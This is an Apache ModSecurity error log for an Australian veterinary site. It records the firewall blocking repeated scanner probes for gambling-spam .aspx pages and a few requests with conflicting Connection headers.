[Sun Mar 08 23:47:39.231358 2026] [:error] [pid 22667:tid 22714] [client 81.167.26.57:4297] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aa2aG-G7qk1roo-TRWPThwAAAkk"]
[Sun Mar 08 23:47:41.964312 2026] [:error] [pid 10522:tid 10537] [client 81.167.26.57:30661] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aa2aHVEZGQssSI3mZTMv1wAAAYE"]
[Sun Mar 08 23:47:44.702659 2026] [:error] [pid 22669:tid 22775] [client 81.167.26.57:5604] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aa2aIGvqAhy8LIaua-rR5AAAAtA"]
[Sun Mar 08 23:47:47.444837 2026] [:error] [pid 10524:tid 10600] [client 81.167.26.57:18169] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aa2aI9JkfNNXb-EWpCBxsQAAAgo"]
[Sun Mar 08 23:47:50.254869 2026] [:error] [pid 22788:tid 22863] [client 81.167.26.57:45496] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aa2aJkhwluk21OG9mSdyowAAA4g"]
[Sun Mar 08 23:47:52.983523 2026] [:error] [pid 22667:tid 22714] [client 81.167.26.57:13757] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aa2aKOG7qk1roo-TRWPTjgAAAkk"]
[Sun Mar 08 23:47:55.809502 2026] [:error] [pid 43671:tid 43746] [client 81.167.26.57:62902] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aa2aK66AdwroU1gT3XEnYgAAAFc"]
[Sun Mar 08 23:47:58.382134 2026] [:error] [pid 22669:tid 22764] [client 81.167.26.57:60809] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aa2aLmvqAhy8LIaua-rR8AAAAsU"]
[Sun Mar 08 23:48:00.916023 2026] [:error] [pid 10418:tid 10445] [client 81.167.26.57:38922] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aa2aMJ8yUuQe5_Zv90n8DAAAAAM"]
[Sun Mar 08 23:48:03.455192 2026] [:error] [pid 22787:tid 22838] [client 81.167.26.57:34853] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aa2aM0F9MGMhk9pT4z48KQAAA0o"]
[Sun Mar 08 23:48:29.397753 2026] [:error] [pid 22788:tid 22857] [client 81.167.26.57:8018] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aa2aTUhwluk21OG9mSdy5AAAA4I"]
[Sun Mar 08 23:48:32.242363 2026] [:error] [pid 22669:tid 22766] [client 81.167.26.57:14886] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aa2aUGvqAhy8LIaua-rSNAAAAsc"]
[Sun Mar 08 23:48:34.942136 2026] [:error] [pid 43671:tid 43731] [client 81.167.26.57:54504] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aa2aUq6AdwroU1gT3XEn5AAAAEg"]
[Sun Mar 08 23:48:37.507964 2026] [:error] [pid 22787:tid 22828] [client 81.167.26.57:50409] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aa2aVUF9MGMhk9pT4z48OAAAA0A"]
[Sun Mar 08 23:48:40.207704 2026] [:error] [pid 22667:tid 22705] [client 81.167.26.57:50099] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aa2aWOG7qk1roo-TRWPTmQAAAkA"]
[Sun Mar 08 23:48:42.775695 2026] [:error] [pid 22669:tid 22770] [client 81.167.26.57:55466] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa2aWmvqAhy8LIaua-rSOgAAAss"]
[Sun Mar 08 23:48:45.300215 2026] [:error] [pid 10522:tid 10558] [client 81.167.26.57:7243] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aa2aXVEZGQssSI3mZTMv3QAAAZY"]
[Sun Mar 08 23:48:48.013060 2026] [:error] [pid 43671:tid 43746] [client 81.167.26.57:24242] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa2aYK6AdwroU1gT3XEoHQAAAFc"]
[Sun Mar 08 23:48:50.733804 2026] [:error] [pid 43671:tid 43726] [client 81.167.26.57:6415] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aa2aYq6AdwroU1gT3XEoIgAAAEM"]
[Sun Mar 08 23:48:53.444900 2026] [:error] [pid 22788:tid 22861] [client 81.167.26.57:48270] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aa2aZUhwluk21OG9mSdzAgAAA4Y"]
[Sun Mar 08 23:48:56.146306 2026] [:error] [pid 22788:tid 22873] [client 81.167.26.57:23970] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aa2aaEhwluk21OG9mSdzBgAAA5I"]
[Sun Mar 08 23:48:58.871041 2026] [:error] [pid 43671:tid 43732] [client 81.167.26.57:56565] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aa2aaq6AdwroU1gT3XEoOgAAAEk"]
[Sun Mar 08 23:49:01.575782 2026] [:error] [pid 43671:tid 43744] [client 81.167.26.57:14916] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa2aba6AdwroU1gT3XEoPgAAAFU"]
[Sun Mar 08 23:49:04.264401 2026] [:error] [pid 43671:tid 43733] [client 81.167.26.57:13572] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aa2acK6AdwroU1gT3XEoWQAAAEo"]
[Sun Mar 08 23:49:06.982878 2026] [:error] [pid 22788:tid 22869] [client 81.167.26.57:21602] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aa2ackhwluk21OG9mSdzGgAAA44"]
[Sun Mar 08 23:49:09.673672 2026] [:error] [pid 22788:tid 22861] [client 81.167.26.57:3571] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa2adUhwluk21OG9mSdzIwAAA4Y"]
[Sun Mar 08 23:49:12.402689 2026] [:error] [pid 10522:tid 10537] [client 81.167.26.57:43468] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aa2aeFEZGQssSI3mZTMv4QAAAYE"]
[Sun Mar 08 23:49:15.095962 2026] [:error] [pid 10524:tid 10593] [client 81.167.26.57:4973] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aa2ae9JkfNNXb-EWpCBxywAAAgM"]
[Sun Mar 08 23:49:17.792755 2026] [:error] [pid 22788:tid 22855] [client 81.167.26.57:65391] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aa2afUhwluk21OG9mSdzNgAAA4A"]
[Sun Mar 08 23:49:21.552524 2026] [:error] [pid 22668:tid 22738] [client 81.167.26.57:7039] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aa2agemzLHpblwnQgPhMjQAAAoY"]
[Sun Mar 08 23:49:24.301478 2026] [:error] [pid 22788:tid 22866] [client 81.167.26.57:12985] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aa2ahEhwluk21OG9mSdzOwAAA4s"]
[Sun Mar 08 23:57:08.162985 2026] [:error] [pid 43671:tid 43747] [client 43.140.247.223:50470] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa2cVK6AdwroU1gT3XEscwAAAFg"]
[Mon Mar 09 00:00:22.228944 2026] [:error] [pid 43671:tid 43726] [client 43.153.79.218:34962] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa2dFq6AdwroU1gT3XEtqQAAAEM"]
[Mon Mar 09 05:50:57.686644 2026] [:error] [pid 6074:tid 6111] [client 54.37.86.223:51110] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa3vQRgvXHMVGYw_ElzQBQAAANQ"]
[Mon Mar 09 05:51:00.214956 2026] [:error] [pid 5787:tid 5943] [client 54.37.86.223:42590] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa3vRLGpMgQ18gGUaFNr8QAAAJU"]
[Mon Mar 09 05:51:02.738773 2026] [:error] [pid 6074:tid 6098] [client 54.37.86.223:36504] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa3vRhgvXHMVGYw_ElzQGQAAAMc"]
[Mon Mar 09 05:51:05.436093 2026] [:error] [pid 5783:tid 5910] [client 54.37.86.223:36516] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa3vSQdiZJ1FQPtsTNQGewAAAFA"]
[Mon Mar 09 05:51:08.303786 2026] [:error] [pid 6074:tid 6100] [client 54.37.86.223:36534] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa3vTBgvXHMVGYw_ElzQIAAAAMk"]
[Mon Mar 09 05:51:11.001675 2026] [:error] [pid 17485:tid 17496] [client 54.37.86.223:36546] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa3vT9QOL_kxQEc1PTB4UwAAAQg"]
[Mon Mar 09 05:51:14.021631 2026] [:error] [pid 17485:tid 17512] [client 54.37.86.223:47222] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa3vUtQOL_kxQEc1PTB4XwAAARg"]
[Mon Mar 09 05:51:16.704504 2026] [:error] [pid 5779:tid 5879] [client 54.37.86.223:47236] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa3vVAaHbHwtklaurgVdvwAAABg"]
[Mon Mar 09 05:51:19.513789 2026] [:error] [pid 17485:tid 17491] [client 54.37.86.223:47252] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa3vV9QOL_kxQEc1PTB4dAAAAQM"]
[Mon Mar 09 05:51:22.151741 2026] [:error] [pid 17485:tid 17509] [client 54.37.86.223:40506] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa3vWtQOL_kxQEc1PTB4gQAAARU"]
[Mon Mar 09 05:51:24.689310 2026] [:error] [pid 17485:tid 17499] [client 54.37.86.223:40514] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa3vXNQOL_kxQEc1PTB4jAAAAQs"]
[Mon Mar 09 05:51:27.371687 2026] [:error] [pid 17485:tid 17488] [client 54.37.86.223:40530] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa3vX9QOL_kxQEc1PTB4ngAAAQA"]
[Mon Mar 09 05:51:30.008563 2026] [:error] [pid 17485:tid 17493] [client 54.37.86.223:40536] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aa3vYtQOL_kxQEc1PTB4pQAAAQU"]
[Mon Mar 09 05:51:32.786536 2026] [:error] [pid 17485:tid 17493] [client 54.37.86.223:50950] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aa3vZNQOL_kxQEc1PTB4sQAAAQU"]
[Mon Mar 09 05:51:35.341635 2026] [:error] [pid 6074:tid 6114] [client 54.37.86.223:50962] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa3vZxgvXHMVGYw_ElzQSgAAANc"]
[Mon Mar 09 05:51:38.020734 2026] [:error] [pid 5779:tid 5861] [client 54.37.86.223:50970] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aa3vagaHbHwtklaurgVdygAAAAY"]
[Mon Mar 09 05:51:41.010832 2026] [:error] [pid 6074:tid 6092] [client 54.37.86.223:50974] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aa3vbRgvXHMVGYw_ElzQVAAAAME"]
[Mon Mar 09 05:51:43.422382 2026] [:error] [pid 5783:tid 5909] [client 54.37.86.223:34784] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa3vbwdiZJ1FQPtsTNQGnwAAAE8"]
[Mon Mar 09 05:51:45.941794 2026] [:error] [pid 6074:tid 6102] [client 54.37.86.223:34792] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa3vcRgvXHMVGYw_ElzQYwAAAMs"]
[Mon Mar 09 05:51:48.526881 2026] [:error] [pid 17485:tid 17496] [client 54.37.86.223:34808] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aa3vdNQOL_kxQEc1PTB42QAAAQg"]
[Mon Mar 09 05:51:51.162933 2026] [:error] [pid 5787:tid 5945] [client 54.37.86.223:34810] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa3vd7GpMgQ18gGUaFNsKwAAAJc"]
